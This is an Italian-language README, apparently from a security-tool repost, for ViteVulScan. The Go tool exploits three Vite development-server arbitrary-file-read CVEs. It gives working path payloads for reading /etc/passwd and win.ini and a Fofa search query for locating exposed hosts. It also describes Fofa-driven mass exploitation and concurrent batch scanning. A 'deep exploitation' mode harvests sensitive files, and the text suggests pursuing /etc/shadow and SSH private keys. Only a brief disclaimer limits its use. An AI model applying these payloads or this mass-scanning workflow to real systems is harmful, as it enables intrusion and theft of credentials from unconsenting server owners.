ViteVulScan

Introduzione alle vulnerabilità

Questo progetto riguarda 3 vulnerabilità: CVE-2025-30208/CVE-2025-31125/CVE-2025-31486, tutte relative alla vulnerabilità di lettura arbitraria dei file del server di sviluppo Vite. Queste tre vulnerabilità hanno una vasta copertura e sono semplici da sfruttare senza restrizioni.

POC delle vulnerabilità:

CVE-2025-30208：

Windows: /@fs/C://Windows/win.ini?import&raw??

Linux: /@fs/etc/passwd?import&raw??

CVE-2025-31125

Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init

Linux: /@fs/etc/passwd?import&?inline=1.wasm?init

CVE-2025-31486

Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init

Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init

Il percorso /@fs può essere omesso.

Sintassi di ricerca Fofa:

body="/@vite/client"

Introduzione all'uso dello strumento

Caratteristiche dello strumento

1. Può integrarsi con Fofa per lo sfruttamento di massa.
2. Analizza il percorso esatto vulnerabile e procede con uno sfruttamento approfondito.
3. Sfrutta appieno la concorrenza di Go, consentendo di eseguire rapidamente scansioni batch su un gran numero di asset in breve tempo.

Istruzioni di compilazione

Versione Go: go 1.20 o superiore

Entra nella directory principale del progetto

Prima sincronizza le dipendenze:

go mod tidy

Poi compila il progetto:

go build -o ViteVulScan -ldflags="-s -w" -trimpath .

./ViteVulScan per eseguire lo script.

Ovviamente puoi anche eseguire direttamente il progetto nella directory principale:

go run .

Configurazione

Lo script supporta l'integrazione con Fofa per cercare asset ed eseguire test batch.

Per usare Fofa, assicurati che il file app.ini e il binario compilato siano nella stessa directory e modifica il file app.ini nella cartella config. Nel campo fofakey inserisci la tua fofakey; num è il numero approssimativo di asset che desideri testare.

Se hai una sintassi di ricerca Fofa migliore per questa vulnerabilità, puoi modificare il campo fofaQuery.

Introduzione ai parametri della riga di comando

Usage of ./ViteVulScan:

Note

1. Per testare in batch tutti gli URL target in un file, assicurati che ogni riga contenga un singolo URL. L'URL può essere un URL completo con http, oppure un dominio o un IP, ad esempio:
   root@kitploit:~

     http://example1.com 
     example2.com
     127.0.0.1
   

2. Quando si esegue il test con i parametri -fofa e -f, gli asset vulnerabili vengono automaticamente salvati nella directory corrente con nome file nel formato "timestamp corrente.csv".
3. Supporta lo sfruttamento sia su piattaforme Linux che Windows. I dizionari utilizzati sono rispettivamente linux_sensitive_path.txt e windows_sensitive_path.txt nella directory dict. Se ci sono altri percorsi sensibili, puoi aggiungerli manualmente ai dizionari corrispondenti.

Esempi

Esempio 1: Test batch integrato con Fofa:

./ViteVulScan -fofa

Al termine della scansione, nella directory result troverai il file csv con gli URL sfruttati con successo, con nome basato sul timestamp:

Esempio 2: Sfruttamento approfondito di un URL vulnerabile:

./ViteVulScan -u example.com -e

Se viene mostrato "利用成功" (sfruttamento riuscito), puoi controllare la directory result: ci sarà una directory con il nome dell'URL scansionato. I contenuti dei file sensibili trovati vengono解析ati e salvati nel formato file originale nei percorsi corrispondenti, come mostrato di seguito:

Prendendo come esempio il contenuto salvato in result/localhost:5173/etc/passwd, si può vedere che il contenuto completo delle informazioni sensibili è stato salvato, facilitando lo sfruttamento successivo (se si riesce a leggere /etc/shadow o le chiavi private SSH del server, si può procedere ulteriormente).

Disclaimer

Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza e a test autorizzati. Non utilizzarlo per scopi illegali. L'utente è l'unico responsabile di qualsiasi conseguenza derivante dall'uso di questo strumento per test non autorizzati.

Aggiornamenti

Prima release del 29 marzo:

• Implementata la funzionalità di raccolta asset tramite Fofa.
• Implementata la verifica batch con la vulnerabilità CVE_2025_30208.
• Aggiunto il parsing degli argomenti da riga di comando.

1 aprile:

• Implementata la funzionalità di sfruttamento approfondito.

2 aprile:

• Aggiunta la verifica per la vulnerabilità CVE_2025_31125 appena rilasciata.

9 aprile:

• Corretto un errore nel modulo Fofa.
• Aggiunta la concorrenza, per una rapida verifica batch se gli asset sono vulnerabili.
• Aggiunta la verifica per CVE_2025_31486.
• Modificata la struttura dei file del progetto.